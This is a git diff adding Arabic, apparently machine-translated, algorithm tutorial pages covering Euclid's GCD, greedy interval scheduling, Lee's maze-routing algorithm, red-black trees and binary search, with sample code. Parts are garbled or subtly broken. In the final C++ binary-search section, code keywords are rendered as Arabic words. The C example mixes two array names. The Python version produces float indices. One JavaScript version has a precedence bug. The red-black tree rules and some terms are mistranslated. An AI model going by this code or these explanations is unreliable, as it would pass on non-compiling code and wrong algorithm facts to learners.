+ستفهم هذه الخوارزمية بشكل أفضل من خلال رؤيتها أثناء العمل. على افتراض أنك تريد حساب GCD من 1220 و 516 ، يتيح تطبيق الخوارزمية الإقليدية ،
+
+على افتراض أنك تريد حساب GCD من 1220 و 516 ، يتيح تطبيق الخوارزمية الإقليدية ، ![مثال إقليدي](https://i.imgur.com/aa8oGgP.png)
+
+الكود الزائف للخوارزمية  
+الخطوة 1: **دع `a, b` يكون الرقمان**  
+الخطوة 2: **`a mod b = R`**  
+الخطوة 3: **دع `a = b` و `b = R`**  
+الخطوة 4: **كرر الخطوتين 2 و 3 حتى `a mod b` أكبر من 0**  
+الخطوة 5: **GCD = ب**  
+الخطوة 6: الانتهاء
+
+شفرة جافا سكريبت لتنفيذ GCD-
+
+ `function gcd(a, b) { 
+  var R; 
+  while ((a % b) > 0)  { 
+    R = a % b; 
+    a = b; 
+    b = R; 
+  } 
+  return b; 
+ } 
+` 
+
+شفرة جافا سكريبت لتنفيذ GCD باستخدام Recursion-
+
+ `function gcd(a, b) { 
+  if (b == 0) 
+    return a; 
+  else 
+    return gcd(b, (a % b)); 
+ } 
+` 
+
+يمكنك أيضًا استخدام خوارزمية Euclidean للعثور على GCD لأكثر من رقمين. نظرًا لأن GCD هي علاقة ارتباطية ، فإن العملية التالية صالحة - `GCD(a,b,c) == GCD(GCD(a,b), c)`
+
+احسب GCD من أول رقمين ، ثم ابحث عن GCD للنتيجة والعدد التالي. مثال: `GCD(203,91,77) == GCD(GCD(203,91),77) == GCD(7, 77) == 7`
+
+يمكنك العثور على GCD للأرقام `n` بالطريقة نفسها.
\ No newline at end of file
diff --git a/client/src/guide/arabic/algorithms/greedy-algorithms/index.md b/client/src/guide/arabic/algorithms/greedy-algorithms/index.md
new file mode 100644
index 0000000000..5b2782dc61
--- /dev/null
+++ b/client/src/guide/arabic/algorithms/greedy-algorithms/index.md
@@ -0,0 +1,89 @@
+---
+title: Greedy Algorithms
+localeTitle: خوارزميات الجشع
+---
+## ما هي خوارزمية الجشع
+
+يجب أن تكون قد سمعت عن الكثير من تقنيات تصميم الخوارزميات أثناء البحث في بعض المقالات هنا. البعض منهم:
+
+*   القوة الغاشمة
+*   فرق تسد
+*   برمجة الجشع
+*   برمجة ديناميكية على سبيل المثال لا الحصر. في هذه المقالة ، ستتعرف على ما هي خوارزمية الجشع وكيف يمكنك استخدام هذه التقنية لحل الكثير من مشاكل البرمجة التي لا تبدو تافهة.
+
+تخيل أنك تسير لمسافات طويلة وهدفك هو الوصول إلى أعلى قمة ممكنة. لديك الخريطة بالفعل قبل أن تبدأ ، ولكن هناك الآلاف من المسارات المحتملة التي تظهر على الخريطة. أنت كسول جدا وببساطة ليس لديك الوقت لتقييم كل واحد منهم. برغي الخريطة! لقد بدأت ممارسة رياضة المشي لمسافات طويلة باستراتيجية بسيطة - كن جشعاً وقصير النظر. مجرد اتخاذ مسارات هذا المنحدر صعودا إلى أقصى حد. هذا يبدو وكأنه استراتيجية جيدة للمشي. لكن هل هو الأفضل دائما؟
+
+بعد انتهاء الرحلة والجسم كله مؤلم ومتعبة ، تنظر إلى خريطة المشي لمسافات طويلة لأول مرة. يا إلهي! هناك نهر موحل كان يجب أن أعبره ، بدلاً من مواصلة المشي لأعلى. هذا يعني أن الخوارزمية الجشعة تختار أفضل خيار فوري ولا تعيد النظر في خياراتها. وفيما يتعلق بتحسين الحل ، فإن هذا يعني ببساطة أن الحل الجشع سيحاول إيجاد الحلول المثلى المحلية - التي يمكن أن تكون كثيرة - وقد تفوت على الحل الأمثل العالمي.
+
+## تعريف رسمي
+
+افترض أن لديك وظيفة موضوعية تحتاج إلى تحسين (إما تكبير أو تصغير) في نقطة معينة. خوارزمية الجشع يجعل الخيارات الجشع في كل خطوة لضمان أن يتم تحسين وظيفة الهدف. لدى الخوارزمية الجشع طلقة واحدة فقط لحساب الحل الأمثل بحيث لا يعود أبداً ويعكس القرار.
+
+### خوارزميات الجشع لها بعض المزايا والعيوب:
+
+*   من السهل جداً التوصل إلى خوارزمية جشعة (أو حتى خوارزميات جشعة متعددة) لمشكلة ما. سيكون تحليل وقت التشغيل للخوارزميات الجشعة أسهل كثيرًا من التقنيات الأخرى (مثل Divide و Conquer). بالنسبة لتقنية Divide و Conquer ، ليس من الواضح ما إذا كانت التقنية سريعة أو بطيئة. ويرجع ذلك إلى أنه كلما كان مستوى التكرار يتزايد حجمه ويزداد عدد المشاكل الفرعية.
+    
+*   الجزء الصعب هو أن خوارزميات الجشع لديك للعمل أصعب بكثير لفهم قضايا الصواب. حتى مع الخوارزمية الصحيحة ، من الصعب إثبات سبب صحتها. إن إثبات أن الخوارزمية الجشعة صحيحة هي أكثر من كونها فنًا من العلم. انها تنطوي على الكثير من الإبداع. عادةً ، قد يبدو الأمر صغيراً بالنسبة إلى الخروج من الخوارزمية ، ولكن إثبات أنها صحيحة بشكل صحيح ، هو مشكلة مختلفة تمامًا.
+    
+
+## مشكلة جدولة الفواصل
+
+دعونا الغوص في مشكلة مثيرة للاهتمام التي يمكن أن تواجهها في أي صناعة تقريبا أو أي مشية للحياة. بعض أمثلة المشكلة كالتالي:
+
+*   يتم منحك مجموعة من جداول N من المحاضرات ليوم واحد في إحدى الجامعات. والجدول الزمني لمحاضرة محددة هو شكل ( _وقت ، وقت f_ ) حيث _يمثل وقت_ s _وقت البدء لتلك المحاضرة وبالمثل_ يمثل الوقت _f_ وقت الانتهاء. في ضوء قائمة جداول المحاضرات N ، نحتاج إلى اختيار الحد الأقصى من المحاضرات التي سيتم عقدها خلال اليوم بحيث **لا تتداخل أي من المحاضرات مع بعضها البعض ، أي إذا تم تضمين محاضرتين Li و Lj في اختيارنا ثم وقت بدء j > = وقت الانتهاء من i أو العكس** .
+    
+*   يعمل صديقك كمستشار للمخيم ، وهو مسؤول عن تنظيم أنشطة لمجموعة من المعسكر. إحدى خططه هي تمرين الترياتلون المصغرة التالي: يجب على كل متسابق السباحة 20 لفة من بركة ، ثم ركوب الدراجة لمسافة 10 أميال ، ثم تشغيل 3 أميال.
+    
+*   تتمثل الخطة في إرسال المتسابقين بطريقة متداخلة ، عبر القاعدة التالية: يجب على المتسابقين استخدام البركة الواحدة في كل مرة. بعبارة أخرى ، يتبارى أحد المتسابقين أول 20 لفة ، يخرج ، ويبدأ ركوب الدراجات.
+    
+*   وبمجرد خروج هذا الشخص الأول من البركة ، يبدأ متسابق ثان يسبح في اللفات العشرين. بمجرد أن يخرج أو يبدأ ركوب الدراجات ، يبدأ متسابق ثالث بالسباحة ، وهكذا.
+    
+*   يمتلك كل متسابق وقت سباحة متوقعًا ، ووقتًا خاصًا لركوب الدراجات ، ووقت تشغيل متوقع. يريد صديقك تحديد جدول زمني للثلاثي: ترتيب يتم فيه ترتيب بداية المتسابقين.
+    
+*   لنفترض أن وقت الانتهاء من الجدول الزمني هو أقرب وقت سيتم فيه الانتهاء من جميع المتسابقين مع جميع مراحل السباق الثلاث ، على افتراض أن توقعات الوقت دقيقة. ما هو أفضل ترتيب لإرسال الأشخاص ، إذا أراد المرء أن تنتهي المنافسة بأكملها في أقرب وقت ممكن؟ بتعبير أدق ، اعط خوارزمية فعالة تنتج جدولًا زمنيًا صغيرًا قدر الإمكان
+    
+
+### مشكلة جدولة المحاضرة
+
+دعونا ننظر إلى الطرق المختلفة لحل هذه المشكلة.
+
+1.  **أقرب وقت البدء أولاً ،** أي حدد الفاصل الزمني الذي يحتوي على أول وقت بداية. ألق نظرة على المثال التالي الذي يكسر هذا الحل. فشل هذا الحل لأنه قد يكون هناك فاصل يبدأ مبكراً جداً ولكن هذا طويل جداً. وهذا يعني أن الاستراتيجية التالية التي يمكن أن نجربها هي حيث ننظر إلى الفواصل الزمنية الأصغر أولاً. ![أقرب وقت البدء أولًا](https://algorithmsandme.files.wordpress.com/2015/03/f268b-jobs.png?w=840)
+    
+2.  **أصغر فاصل زمني أولاً ،** أي ينتهي بك الأمر إلى اختيار المحاضرات حسب فترتها الإجمالية التي لا `finish time - start time` . مرة أخرى ، هذا الحل غير صحيح. انظر إلى الحالة التالية. ![أقصر الفاصل الأول](https://i.stack.imgur.com/4bz2N.png)
+    
+
+يمكنك أن ترى بوضوح أن أقصر محاضرة فاصلة هي واحدة في المنتصف ، لكن هذا ليس الحل الأمثل هنا. دعونا ننظر إلى حل آخر لهذه المشكلة تستمد الأفكار من هذا الحل.
+
+3.  **الفاصل الزمني الأقل المتضارب أولاً ،** أي يجب أن تنظر إلى الفواصل الزمنية التي تسبب أقل عدد من التعارضات. مرة أخرى ، لدينا مثال حيث فشل هذا النهج في إيجاد الحل الأمثل. ![أقل الفاصل المتضارب الأول](https://i.stack.imgur.com/5LZ9V.png)
+
+يوضح الرسم البياني أن الفاصل الزمني الأقل تعارضًا هو الفاصل في الوسط مع وجود تعارضين فقط. بعد ذلك يمكننا فقط اختيار الفترتين في النهاية مع وجود تعارضات 3 لكل منهما. لكن الحل الأمثل هو اختيار الفواصل الأربع على المستوى الأعلى.
+
+4.  **أقرب وقت للتنفيذ أولاً** . هذا هو النهج الذي يمنحنا دائمًا أفضل الحلول لهذه المشكلة. لقد استمدنا الكثير من الأفكار من المقاربات السابقة وأخيرًا جاء هذا النهج. نقوم بتصنيف الفواصل حسب ترتيب متزايد لأوقات الانتهاء ثم نبدأ باختيار فترات من البداية. انظر إلى الرمز الزائف التالي لمزيد من الوضوح.
+
+ `function interval_scheduling_problem(requests) 
+    schedule \gets \{\} 
+    while requests is not yet empty 
+        choose a request i_r \in requests that has the lowest finishing time 
+        schedule \gets schedule \cup \{i_r\} 
+        delete all requests in requests that are not compatible with i_r 
+    end 
+    return schedule 
+ end 
+` 
+
+## متى نستخدم خوارزميات الجشع
+
+يمكن أن تساعدك خوارزميات الجشع في العثور على حلول للكثير من المشاكل الصعبة على ما يبدو. المشكلة الوحيدة معهم هي أنك قد تتوصل إلى الحل الصحيح ، ولكن قد لا تتمكن من التحقق مما إذا كان هذا هو الحل الصحيح. تشترك جميع المشكلات الجشعة في ملكية مشتركة يمكن أن يؤدي فيها أوبتيما محليًا في نهاية المطاف إلى وجود حد أدنى عالمي دون إعادة النظر في مجموعة الخيارات التي سبق النظر فيها.
+
+تساعدنا خوارزميات الجشع في حل الكثير من أنواع المشاكل المختلفة. ترقب البرامج التعليمية القادمة في كل واحدة منها.
+
+1.  أقصر مسار مشكلة.
+2.  مشكلة الحد الأدنى للشجرة الممتدة في الرسم البياني.
+3.  مشكلة ترميز هوفمان.
+4.  K مراكز مشكلة
+
+#### معلومات اكثر:
+
+ [![مشاكل الجشع](http://img.youtube.com/vi/HzeK7g8cD0Y/0.jpg)](https://www.youtube.com/watch?v=HzeK7g8cD0Y) 
+
+ [![مشاكل الجشع](http://img.youtube.com/vi/poWB2UCuozA/0.jpg)](https://www.youtube.com/watch?v=poWB2UCuozA)
\ No newline at end of file
diff --git a/client/src/guide/arabic/algorithms/index.md b/client/src/guide/arabic/algorithms/index.md
new file mode 100644
index 0000000000..51118d09a0
--- /dev/null
+++ b/client/src/guide/arabic/algorithms/index.md
@@ -0,0 +1,53 @@
+---
+title: Algorithms
+localeTitle: خوارزميات
+---
+## خوارزميات
+
+في علم الكمبيوتر ، الخوارزمية هي مواصفات لا لبس فيها لكيفية حل فئة من المشاكل. يمكن الخوارزميات إجراء العمليات الحسابية ومعالجة البيانات ومهام التفكير الآلي.
+
+الخوارزمية هي طريقة فعالة يمكن التعبير عنها ضمن كمية محددة من الزمان والمكان وفي لغة رسمية محددة بشكل جيد لحساب الدالة. بدءاً من حالة مبدئية ومدخلات أولية (ربما فارغة) ، تصف التعليمات حسابًا ، عندما يتم تنفيذه ، يستمر من خلال عدد محدود من الحالات المتعاقبة المحددة جيداً ، وينتج في النهاية "خرج" وينتهي في حالة النهاية النهائية. ليس الانتقال من حالة إلى أخرى بالضرورة محددًا. تتضمن بعض الخوارزميات ، المعروفة بالخوارزميات العشوائية ، مدخلات عشوائية.
+
+هناك متطلبات معينة يجب على الخوارزمية الالتزام بها:
+
+1.  الوضوح: كل خطوة في العملية محددة بدقة.
+2.  الحوسبة الفعالة: يمكن تنفيذ كل خطوة في العملية بواسطة جهاز كمبيوتر.
+3.  الإنتهاء: سوف ينتهي البرنامج بنجاح في نهاية المطاف.
+
+تتضمن بعض الأنواع الشائعة من الخوارزميات فرز الخوارزميات وخوارزميات البحث وخوارزميات الضغط. تتضمن فئات الخوارزميات Graph و Dynamic Programming و Sorting و Searching و Strings و Math و Computational Geometry و Optimization و Miscellaneous. على الرغم من أنه ليس من الناحية الفنية فئة من الخوارزميات ، غالبًا ما يتم تجميع تراكيب البيانات معها.
+
+### نجاعة
+
+يتم الحكم على الخوارزميات بشكل عام من خلال كفاءتها ومقدار موارد الحوسبة التي يحتاجونها لإكمال مهمتهم. الطريقة الشائعة لتقييم الخوارزمية هي النظر إلى تعقيدها الزمني. يوضح هذا كيف ينمو وقت تشغيل الخوارزمية مع زيادة حجم الإدخال. بما أن الخوارزميات اليوم ، يجب أن تعمل على مدخلات البيانات الكبيرة ، فمن الضروري أن يكون لدينا خوارزميات لدينا وقت تشغيل سريع بشكل معقول.
+
+### خوارزميات الفرز
+
+تأتي خوارزميات الفرز بمختلف النكهات حسب احتياجك. بعض ، شائعة جدا وتستخدم على نطاق واسع هي:
+
+#### فرز سريع
+
+لا يوجد مناقشة فرز يمكن أن تنتهي دون فرز سريع. المفهوم الأساسي هو في الرابط أدناه. [فرز سريع](http://me.dt.in.th/page/Quicksort/)
+
+#### دمج التصنيف
+
+يتم دمج خوارزمية الفرز التي تعتمد على مفهوم كيفية فرز المصفوفات لإعطاء صفائف مصنفة واحدة. قراءة المزيد عنها هنا- [دمج التصنيف](https://www.geeksforgeeks.org/merge-sort/)
+
+يؤكد منهج freeCodeCamp بشكل كبير على إنشاء الخوارزميات. هذا لأن خوارزميات التعلم هي طريقة جيدة لممارسة مهارات البرمجة. يقوم الباحثون بشكل متكرر باختبار المرشحين على الخوارزميات أثناء المقابلات الوظيفية لمطوري البرامج.
+
+### مزيد من الموارد
+
+[مقدمة إلى الخوارزميات | Crash Course: Computer Science](https://www.youtube.com/watch?v=rL8X2mlNHPM)
+
+يقدم هذا الفيديو مقدمة سهلة وفعالة عن الخوارزميات التي تركز على خوارزميات الفرز والبحث في الرسم البياني.
+
+[ما هي الخوارزمية ولماذا يجب أن تهتم؟ | أكاديمية خان](https://www.youtube.com/watch?v=CvSOaYi89B4)
+
+يقدم هذا الفيديو الخوارزميات ويناقش باختصار بعض الاستخدامات البارزة لها.
+
+[15 فرز الخوارزميات في 6 دقائق تيمو بينجمان](https://www.youtube.com/watch?v=kPRA0W1kECg)
+
+يوضح هذا الفيديو بصريًا بعض خوارزميات الفرز الشائعة التي يتم تدريسها بشكل شائع في البرامج التدريبية ودورات علوم الكمبيوتر.
+
+[خوارزمية متخيل](http://algo-visualizer.jasonpark.me)
+
+هذا هو أيضا مشروع مفتوح المصدر جيد حقا يساعدك على تصور الخوارزميات.
\ No newline at end of file
diff --git a/client/src/guide/arabic/algorithms/lee-algorithm/index.md b/client/src/guide/arabic/algorithms/lee-algorithm/index.md
new file mode 100644
index 0000000000..47e68162c9
--- /dev/null
+++ b/client/src/guide/arabic/algorithms/lee-algorithm/index.md
@@ -0,0 +1,59 @@
+---
+title: Lee's Algorithm
+localeTitle: خوارزمية لي
+---
+## خوارزمية لي
+
+تعد خوارزمية Lee أحد الحلول الممكنة لمشكلات توجيه المتاهة. دائمًا ما يوفر الحل الأمثل ، إن وجد ، ولكنه كذلك بطيء ويتطلب ذاكرة كبيرة للتخطيط الكثيفة.
+
+### فهم كيف يعمل
+
+الخوارزمية هي خوارزمية تستند إلى `breadth-first` تستخدم `queues` لتخزين الخطوات. وعادة ما يستخدم الخطوات التالية:
+
+1.  اختر نقطة بداية وأضفها إلى قائمة الانتظار.
+2.  أضف الخلايا المجاورة الصحيحة إلى قائمة الانتظار.
+3.  أزل الموضع الذي أنت عليه من قائمة الانتظار وتابع إلى العنصر التالي.
+4.  كرر الخطوتين 2 و 3 حتى قائمة الانتظار فارغة.
+
+### التنفيذ
+
+يحتوي C ++ على قائمة الانتظار التي تم تنفيذها بالفعل في مكتبة `<queue>` ، ولكن إذا كنت تستخدم شيئًا آخر ، فنحن نرحب بتطبيقه نسختك الخاصة من قائمة الانتظار.
+
+كود C ++:
+
+ `int dl[] = {-1, 0, 1, 0}; // these arrays will help you travel in the 4 directions more easily 
+ int dc[] = {0, 1, 0, -1}; 
+ 
+ queue<int> X, Y; // the queues used to get the positions in the matrix 
+ 
+ X.push(start_x); //initialize the queues with the start position 
+ Y.push(start_y); 
+ 
+ void lee() 
+ { 
+  int x, y, xx, yy; 
+  while(!X.empty()) // while there are still positions in the queue 
+  { 
+    x = X.front(); // set the current position 
+    y = Y.front(); 
+    for(int i = 0; i < 4; i++) 
+    { 
+      xx = x + dl[i]; // travel in an adiacent cell from the current position 
+      yy = y + dc[i]; 
+      if('position is valid') //here you should insert whatever conditions should apply for your position (xx, yy) 
+      { 
+          X.push(xx); // add the position to the queue 
+          Y.push(yy); 
+          mat[xx][yy] = -1; // you usually mark that you have been to this position in the matrix 
+      } 
+ 
+    } 
+ 
+    X.pop(); // eliminate the first position, as you have no more use for it 
+    Y.pop(); 
+ 
+  } 
+ 
+ 
+ } 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/algorithms/red-black-trees/index.md b/client/src/guide/arabic/algorithms/red-black-trees/index.md
new file mode 100644
index 0000000000..9976d8f621
--- /dev/null
+++ b/client/src/guide/arabic/algorithms/red-black-trees/index.md
@@ -0,0 +1,37 @@
+---
+title: Red Black Trees
+localeTitle: أشجار سوداء حمراء
+---
+## أشجار سوداء حمراء
+
+Red-Black Tree هي شجرة بحث ثنائية توازن ذاتي (BST) حيث تتبع كل عقدة القواعد التالية.
+
+1.  كل عقدة لديها طفلين ، إما باللون الأحمر أو الأسود.
+2.  كل عقدة أوراق شجرة سوداء دائما.
+3.  كل عقدة حمراء لديها كل من أطفالها اللون الأسود.
+4.  لا يوجد عقدان أحمران متجاوران (لا يمكن أن تحتوي العقدة الحمراء على أصل أحمر أو أحمر).
+5.  يحتوي كل مسار من الجذر إلى عقدة أوراق الشجر على نفس عدد العقد السوداء (يسمى "ارتفاع الأسود").
+
+على غرار المرجعي: ![alt text](https://upload.wikimedia.org/wikipedia/commons/thumb/a/ab/Fibonacci_Tree_as_Red-Black_Tree.svg/2000px-Fibonacci_Tree_as_Red-Black_Tree.svg.png "مثال فيبوناتشي على أشجار سوداء حمراء")
+
+### لماذا أشجار حمراء سوداء؟
+
+معظم عمليات BST (على سبيل المثال ، البحث ، max ، min ، insert ، delete .. etc) تأخذ O (h) time حيث h هي ارتفاع BST. قد تصبح تكلفة هذه العمليات O (n) لشجرة ثنائية منحرفة. إذا تأكدنا من أن ارتفاع الشجرة يبقى O (Logn) بعد كل إدخال وحذف ، فيمكننا ضمان حد أقصى O (Logn) لجميع هذه العمليات. يكون طول شجرة Red Black دائمًا O (Logn) حيث n هو عدد العقد في الشجرة.
+
+### مقارنة مع شجرة AVL
+
+أشجار AVL أكثر توازنا مقارنة بالأشجار الحمراء السوداء ، ولكنها قد تسبب المزيد من التناوب أثناء الإدراج والحذف. لذلك إذا كان تطبيقك يتضمن العديد من عمليات الإدراج والحذف المتكررة ، فيجب تفضيل أشجار Red Black. وإذا كانت عمليات الإدراج والحذف أقل تكرارًا ، وكان البحث عملية أكثر تواترًا ، فيجب تفضيل شجرة AVL على Red Black Tree.
+
+### Left-Leaning شجرة حمراء - سوداء
+
+شجرة red-leaning red-black (LLRB) هي نوع من شجرة البحث الثنائية ذات التوازن الذاتي. وهو متغير من الشجرة الحمراء - السوداء ويضمن نفس التعقيد التقاربي للعمليات ، ولكنه مصمم ليكون أسهل في التنفيذ.
+
+### خصائص Left Leaning - الأشجار الحمراء - السوداء
+
+تتميز جميع خوارزميات الشجر باللون الأحمر والأسود التي تم اقتراحها بوقت بحث في أسوأ الحالات يحدها مضاعف ثابت صغير للسجل N في شجرة من مفاتيح N ، والسلوك الذي يتم ملاحظته في الممارسة عادة ما يكون هو نفسه أسرع من في أسوأ حالة ملزمة ، على مقربة من العقد الأمثل سجل N التي سيتم ملاحظتها في شجرة متوازنة تماما.
+
+على وجه التحديد ، في شجرة باللون الأحمر- الأسود ذي الجانبين الأيسر مبنية من مفاتيح عشوائية N: -> بحث ناجح عشوائي يفحص log2 N - 0.5 العقد. -> متوسط ​​ارتفاع الشجرة هو 2 log2 N
+
+#### معلومات اكثر:
+
+*   [فيديو من الخوارزميات وهياكل البيانات](https://www.youtube.com/watch?v=2Ae0D6EXBV4)
\ No newline at end of file
diff --git a/client/src/guide/arabic/algorithms/search-algorithms/binary-search/index.md b/client/src/guide/arabic/algorithms/search-algorithms/binary-search/index.md
new file mode 100644
index 0000000000..944a354c9d
--- /dev/null
+++ b/client/src/guide/arabic/algorithms/search-algorithms/binary-search/index.md
@@ -0,0 +1,260 @@
+---
+title: Binary Search
+localeTitle: بحث ثنائي
+---
+## بحث ثنائي
+
+يقوم البحث الثنائي بتحديد موقع عنصر في مصفوفة تم فرزها عن طريق قسمة الفاصل الزمني للبحث مراراً إلى النصف.
+
+كيف تبحث عن اسم في دليل الهاتف؟
+
+إحدى الطرق هي البدء من الصفحة الأولى وإلقاء نظرة على كل اسم في دليل الهاتف حتى نجد ما نبحث عنه. ولكن هذا سيكون وسيلة شاقة للغاية وغير فعالة للبحث.
+
+نظرًا لأننا نعلم أنه يتم ترتيب الأسماء في دليل الهاتف أبجديًا ، فقد نتمكن من العمل على طول الخطوات التالية:
+
+1.  افتح الصفحة الوسطى من دليل الهاتف
+2.  إذا كان لديه الاسم الذي نبحث عنه ، فقد انتهينا!
+3.  وبخلاف ذلك ، يمكنك التخلص من نصف دليل الهاتف الذي لا يحتوي على الاسم
+4.  كرر ذلك حتى تجد الاسم أو لم تعد هناك صفحات أخرى في دليل الهاتف
+
+تعقيد الوقت: بينما نتخلص من جزء واحد من حالة البحث أثناء كل خطوة من خطوات البحث الثنائي ، ونقوم بعملية البحث في النصف الآخر ، فإن ذلك يؤدي إلى تعقيد زمن الحالة الأسوأ لـ _O_ ( _log 2 N_ ).
+
+تعقيد الفضاء: يستغرق البحث الثنائي مسافة ثابتة أو _O_ ( _1_ ) مما يعني أننا لا نفعل أي تعريف متغير ذي صلة بحجم متغير.
+
+للبحث عن مجموعات صغيرة ، فإن البحث الخطي يكون أفضل ولكن في الحالات الأكبر ، يكون استخدام البحث الثنائي أكثر فاعلية.
+
+بالتفصيل ، كم مرة يمكنك قسمة N على 2 حتى يكون لديك 1؟ هذا هو القول الأساسي ، قم بإجراء بحث ثنائي (نصف العناصر) حتى تجده. في صيغة هذا سيكون هذا:
+
+ `1 = N / 2x 
+` 
+
+اضرب 2x:
+
+ `2x = N 
+` 
+
+الآن القيام log2:
+
+ `log2(2x)    = log2 N 
+ x * log2(2) = log2 N 
+ x * 1       = log2 N 
+` 
+
+هذا يعني أنه يمكنك تقسيم سجل N مرة حتى يتم تقسيم كل شيء. مما يعني أنه يجب عليك تقسيم السجل N ("القيام بعملية البحث الثنائي") حتى تعثر على العنصر الخاص بك.
+
+_O_ ( _log 2 N_ ) يكون هكذا لأنه في كل خطوة نصف العناصر الموجودة في مجموعة البيانات تختفي والتي يتم تبريرها بواسطة قاعدة الدالة اللوغاريتمية.
+
+هذه هي خوارزمية البحث الثنائي. إنه أنيق وفعال ولكن لكي يعمل بشكل صحيح ، يجب **فرز** الصفيف.
+
+* * *
+
+ابحث عن 5 في مجموعة معينة من الأرقام باستخدام البحث الثنائي.
+
+![بحث ثنائي 1](https://i.imgur.com/QAuugOL.jpg)
+
+ضع علامات منخفضة وعالية ومتوسطة في الصفيف.
+
+![البحث الثنائي 2](https://i.imgur.com/1710fEx.jpg)
+
+قارن العنصر الذي تبحث عنه مع العنصر الأوسط.
+
+![بحث ثنائي 3](https://i.imgur.com/jr4icze.jpg)
+
+تخلص من النصف الأيسر وابحث في النصف الأيمن.
+
+![بحث ثنائي 4](https://i.imgur.com/W57lGsk.jpg)
+
+مرة أخرى مقارنة مع العنصر الأوسط.
+
+![بحث ثنائي 5](https://i.imgur.com/5Twm8NE.jpg)
+
+الآن ، انتقل إلى النصف الأيسر.
+
+![البحث الثنائي 6](https://i.imgur.com/01xetay.jpg)
+
+العنصر الأوسط هو العنصر الذي كنا نبحث عنه!
+
+تأخذ خوارزمية البحث الثنائي مقاربة divide و Conquer حيث يتم تقسيم الصفيف باستمرار حتى يتم العثور على العنصر أو حتى لا يكون هناك عناصر أخرى متبقية للفحص. وبالتالي ، يمكن تعريف هذه الخوارزمية بشكل متكرر لتوليد حل أنيق.
+
+تكون الحالتان الأساسيتان للتكرار:
+
+*   لا مزيد من العناصر المتبقية في الصفيف
+*   تم العثور على العنصر
+
+قوة البحث الثنائي في نظم البيانات (أشجار B +): أشجار البحث الثنائي هي قوية جدا بسبب أوقات البحث O (log n) ، ثانيًا إلى هيكل بيانات hashmap الذي يستخدم مفتاح hasing للبحث عن البيانات في O (1). من المهم أن تفهم كيف يأتي وقت تشغيل السجل n من ارتفاع شجرة البحث الثنائية. إذا تم تقسيم كل عقدة إلى عقدتين ، (ثنائي) ، فإن عمق الشجرة هو log n (base 2) .. من أجل تحسين هذه السرعة في نظام البيانات ، نستخدم أشجار B + لأن لها عامل تفرع أكبر ، و وبالتالي مزيد من الارتفاع. آمل أن تساعد هذه المقالة القصيرة في توسيع نطاق تفكيرك حول كيفية استخدام البحث الثنائي في الأنظمة العملية.
+
+يظهر رمز البحث الثنائي العودي أدناه:
+
+### تطبيق جافا سكريبت
+
+ `function binarySearch(arr, item, low, high) { 
+    if (low > high) { // No more elements in the array. 
+        return null; 
+    } 
+ 
+    // Find the middle of the array. 
+    var mid = Math.ceil((low + high) / 2); 
+ 
+    if (arr[mid] === item) { // Found the item! 
+        return mid; 
+    } 
+ 
+    if (item < arr[mid]) { // Item is in the half from low to mid-1. 
+        return binarySearch(arr, item, low, mid-1); 
+    } 
+ 
+    else { // Item is in the half from mid+1 to high. 
+        return binarySearch(arr, item, mid+1, high); 
+    } 
+ } 
+ 
+ var numbers = [1,2,3,4,5,6,7]; 
+ print(binarySearch(numbers, 5, 0, numbers.length-1)); 
+` 
+
+في ما يلي تطبيق آخر في جافا سكريبت:
+
+ `function binary_search(a, v) { 
+    function search(low, high) { 
+        if (low === high) { 
+            return a[low] === v; 
+        } else { 
+            var mid = math_floor((low + high) / 2); 
+            return (v === a[mid]) 
+                   || 
+                   (v < a[mid]) 
+                   ? search(low, mid - 1) 
+                   : search(mid + 1, high); 
+        } 
+    } 
+    return search(0, array_length(a) - 1); 
+ } 
+` 
+
+### تطبيق روبي
+
+ `def binary_search(target, array) 
+  sorted_array = array.sort 
+  low = 0 
+  high = (sorted_array.length) - 1 
+ 
+  while high >= low 
+    middle = (low + high) / 2 
+ 
+    if target > sorted_array[middle] 
+      low = middle + 1 
+    elsif target < sorted_array[middle] 
+      high = middle - 1 
+    else 
+      return middle 
+    end 
+  end 
+  return nil 
+ end 
+` 
+
+### مثال في C
+
+ `int binarySearch(int a[], int l, int r, int x) { 
+   if (r >= l){ 
+        int mid = l + (r - l)/2; 
+        if (a[mid] == x) 
+            return mid; 
+        if (arr[mid] > x) 
+            return binarySearch(arr, l, mid-1, x); 
+        return binarySearch(arr, mid+1, r, x); 
+   } 
+   return -1; 
+ } 
+` 
+
+### تنفيذ C / C ++
+
+ `int binary_search(int arr[], int l, int r, int target) 
+ { 
+   if (r >= l) 
+   { 
+        int mid = l + (r - l)/2; 
+        if (arr[mid] == target) 
+            return mid; 
+        if (arr[mid] > target) 
+            return binary_search(arr, l, mid-1, target); 
+        return binary_search(arr, mid+1, r, target); 
+   } 
+   return -1; 
+ } 
+` 
+
+### تنفيذ بايثون
+
+ `def binary_search(arr, l, r, target): 
+    if r >= l: 
+        mid = l + (r - l)/2 
+        if arr[mid] == target: 
+            return mid 
+        elif arr[mid] > target: 
+            return binary_search(arr, l, mid-1, target) 
+        else: 
+            return binary_search(arr, mid+1, r, target) 
+    else: 
+        return -1 
+` 
+
+### مثال في C ++
+
+ `// Binary Search using iteration 
+ int binary_search(int arr[], int beg, int end, int num) 
+ { 
+    while(beg <= end){ 
+        int mid = (beg + end) / 2; 
+        if(arr[mid] == num) 
+            return mid; 
+        else if(arr[mid] < num) 
+            beg = mid + 1; 
+        else 
+            end = mid - 1; 
+    } 
+    return -1; 
+ } 
+` 
+
+ `// Binary Search using recursion 
+ int binary_search(int arr[], int beg, int end, int num) 
+ { 
+    if(beg <= end){ 
+        int mid = (beg + end) / 2; 
+        if(arr[mid] == num) 
+            return mid; 
+        else if(arr[mid] < num) 
+            return binary_search(arr, mid + 1, end, num); 
+        else 
+            return binary_search(arr, beg, mid - 1, num); 
+    } 
+    return -1; 
+ } 
+` 
+
+### مثال في C ++
+
+نهج متكرر!
+
+\`\` \`C ++ - نهج تكراري int binarySearch (int arr \[\]، int start، int int، int x) { إذا (انتهى> = البدء) { int mid = start + (end-start) / 2؛ إذا (arr \[mid\] == x)  
+عودة منتصف ؛
+
+ `    if (arr[mid] > x) 
+        return binarySearch(arr, start, mid-1, x); 
+ 
+    return binarySearch(arr, mid+1, end, x); 
+` 
+
+} العودة -1 ؛ }
+
+ `Iterative approach! 
+` 
+
+C ++ - نهج تكراري int binarySearch (int arr \[\]، int start، int int، int x) { بينما (تبدأ <= النهاية) { int mid = start + (end-start) / 2؛ إذا (arr \[mid\] == x) عودة منتصف ؛ إذا (arr \[mid\] <x) start = mid + 1؛ آخر end = mid - 1؛ } العودة -1 ؛ } \`\` \`
+
+### معلومات اكثر
+
